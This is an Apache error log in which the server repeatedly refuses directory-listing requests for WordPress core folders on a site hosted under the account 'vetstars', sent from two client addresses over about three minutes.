[Mon Apr 13 19:56:57.336185 2026] [autoindex:error] [pid 57183:tid 57192] [client 91.217.249.74:31779] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/Requests/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 13 19:56:57.638329 2026] [autoindex:error] [pid 57183:tid 57185] [client 91.217.249.74:31779] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/ID3/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 13 19:57:00.084971 2026] [autoindex:error] [pid 57183:tid 57204] [client 91.217.249.74:31779] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/assets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 13 19:57:00.422512 2026] [autoindex:error] [pid 57183:tid 57208] [client 91.217.249.74:31779] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/fonts/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 13 19:57:06.349046 2026] [autoindex:error] [pid 57183:tid 57206] [client 91.217.249.74:31779] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/colors/blue/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 13 19:57:10.152991 2026] [autoindex:error] [pid 57183:tid 57185] [client 91.217.249.74:31779] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/colors/light/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 13 19:57:10.844725 2026] [autoindex:error] [pid 57183:tid 57204] [client 91.217.249.74:31779] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/rest-api/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 13 19:57:16.587026 2026] [autoindex:error] [pid 57183:tid 57208] [client 91.217.249.74:31779] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 13 19:57:16.974710 2026] [autoindex:error] [pid 57183:tid 57205] [client 91.217.249.74:31779] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/rest-api/endpoints/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 13 19:57:25.187849 2026] [autoindex:error] [pid 57183:tid 57188] [client 91.217.249.74:31779] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/colors/ocean/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 13 19:57:27.196530 2026] [autoindex:error] [pid 57183:tid 57189] [client 91.217.249.74:31779] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/pomo/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 13 19:57:29.259389 2026] [autoindex:error] [pid 57183:tid 57185] [client 91.217.249.74:31779] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/colors/sunrise/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 13 19:57:29.586914 2026] [autoindex:error] [pid 57183:tid 57188] [client 91.217.249.74:31779] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/block-patterns/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 13 19:57:29.945546 2026] [autoindex:error] [pid 57183:tid 57190] [client 91.217.249.74:31779] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/certificates/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 13 19:57:30.272812 2026] [autoindex:error] [pid 57183:tid 57201] [client 91.217.249.74:31779] AH01276: Cannot serve directory /home/vetstars/public_html/wp-content/cache/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 13 19:57:32.648945 2026] [autoindex:error] [pid 57183:tid 57207] [client 91.217.249.74:31779] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/js/widgets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 13 19:57:36.472274 2026] [autoindex:error] [pid 57183:tid 57203] [client 91.217.249.74:31779] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/images/media/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 13 19:57:36.853897 2026] [autoindex:error] [pid 57183:tid 57205] [client 91.217.249.74:31779] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 13 19:57:42.465815 2026] [autoindex:error] [pid 57183:tid 57209] [client 91.217.249.74:31779] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/colors/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 13 19:57:44.699617 2026] [autoindex:error] [pid 57183:tid 57205] [client 91.217.249.74:31779] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/images/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 13 19:57:48.542855 2026] [autoindex:error] [pid 57183:tid 57192] [client 91.217.249.74:31779] AH01276: Cannot serve directory /usr/local/apache/autossl_tmp/.well-known/acme-challenge/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 13 19:57:52.447145 2026] [autoindex:error] [pid 57183:tid 57191] [client 91.217.249.74:31779] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/css/dist/edit-widgets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 13 19:57:52.782947 2026] [autoindex:error] [pid 57183:tid 57206] [client 91.217.249.74:31779] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/Requests/src/Exception/Http/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 13 19:57:53.152002 2026] [autoindex:error] [pid 57183:tid 57194] [client 91.217.249.74:31779] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/Text/Diff/Renderer/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 13 19:57:53.543939 2026] [autoindex:error] [pid 57183:tid 57186] [client 91.217.249.74:31779] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/Text/Diff/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 13 19:57:53.872995 2026] [autoindex:error] [pid 57183:tid 57197] [client 91.217.249.74:31779] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/tinymce/skins/lightgray/img/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 13 19:58:06.139620 2026] [autoindex:error] [pid 63406:tid 63414] [client 91.217.249.55:43133] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/html-api/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 13 19:58:06.509305 2026] [autoindex:error] [pid 63406:tid 63429] [client 91.217.249.55:43133] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/sitemaps/providers/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 13 19:58:06.866260 2026] [autoindex:error] [pid 63406:tid 63434] [client 91.217.249.55:43133] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/Text/Diff/Engine/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 13 19:58:07.150126 2026] [autoindex:error] [pid 63406:tid 63418] [client 91.217.249.55:43133] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/colors/coffee/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 13 19:58:07.798468 2026] [autoindex:error] [pid 63406:tid 63435] [client 91.217.249.55:43133] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/blocks/calendar/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 13 19:58:17.631796 2026] [autoindex:error] [pid 63406:tid 63426] [client 91.217.249.55:43133] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/Text/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 13 19:58:19.288079 2026] [autoindex:error] [pid 63406:tid 63419] [client 91.217.249.55:43133] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/sitemaps/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 13 19:58:19.708584 2026] [autoindex:error] [pid 63406:tid 63417] [client 91.217.249.55:43133] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/sodium_compat/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 13 19:58:20.135906 2026] [autoindex:error] [pid 63406:tid 63434] [client 91.217.249.55:43133] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/dist/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 13 19:58:20.424060 2026] [autoindex:error] [pid 63406:tid 63429] [client 91.217.249.55:43133] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/sodium_compat/src/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 13 19:58:27.812578 2026] [autoindex:error] [pid 63406:tid 63411] [client 91.217.249.55:43133] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/tinymce/plugins/fullscreen/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 13 19:58:33.413873 2026] [autoindex:error] [pid 63406:tid 63426] [client 91.217.249.55:43133] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/interactivity-api/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 13 19:58:33.733228 2026] [autoindex:error] [pid 63406:tid 63434] [client 91.217.249.55:43133] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/l10n/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 13 19:58:35.822125 2026] [autoindex:error] [pid 63406:tid 63421] [client 91.217.249.55:43133] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/tinymce/utils/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 13 19:58:46.229355 2026] [autoindex:error] [pid 63406:tid 63430] [client 91.217.249.55:43133] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/codemirror/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 13 19:58:47.005122 2026] [autoindex:error] [pid 63406:tid 63432] [client 91.217.249.55:43133] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/colors/modern/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 13 19:58:47.305916 2026] [autoindex:error] [pid 63406:tid 63425] [client 91.217.249.55:43133] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/blocks/group/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 13 19:58:54.920770 2026] [autoindex:error] [pid 63406:tid 63420] [client 91.217.249.55:43133] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/css/dist/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 13 19:59:00.876302 2026] [autoindex:error] [pid 63406:tid 63435] [client 91.217.249.55:43133] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/blocks/file/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 13 19:59:18.971986 2026] [autoindex:error] [pid 63406:tid 63411] [client 91.217.249.55:43133] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/imgareaselect/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 13 19:59:23.224402 2026] [autoindex:error] [pid 63406:tid 63418] [client 91.217.249.55:43133] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/sodium_compat/lib/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 13 19:59:23.551365 2026] [autoindex:error] [pid 63406:tid 63424] [client 91.217.249.55:43133] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/jcrop/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 13 19:59:27.473995 2026] [autoindex:error] [pid 63406:tid 63425] [client 91.217.249.55:43133] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/block-bindings/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 13 19:59:29.663386 2026] [autoindex:error] [pid 63406:tid 63419] [client 91.217.249.55:43133] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/Requests/library/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 13 19:59:55.411765 2026] [autoindex:error] [pid 63406:tid 63427] [client 91.217.249.55:43133] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/tinymce/skins/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 13 19:59:59.199621 2026] [autoindex:error] [pid 63406:tid 63435] [client 91.217.249.55:43133] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/jquery/ui/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 13 20:00:03.457488 2026] [autoindex:error] [pid 63406:tid 63417] [client 91.217.249.55:43133] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/tinymce/themes/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 13 20:00:07.438096 2026] [autoindex:error] [pid 63406:tid 63425] [client 91.217.249.55:43133] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/tinymce/themes/inlite/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 13 20:00:09.574457 2026] [autoindex:error] [pid 63406:tid 63427] [client 91.217.249.55:43133] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/plupload/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 13 20:00:09.945846 2026] [autoindex:error] [pid 63406:tid 63411] [client 91.217.249.55:43133] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/rest-api/fields/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 13 20:00:12.137452 2026] [autoindex:error] [pid 63406:tid 63431] [client 91.217.249.55:43133] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/blocks/code/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 13 20:00:13.650874 2026] [autoindex:error] [pid 63406:tid 63433] [client 91.217.249.55:43133] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/blocks/archives/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
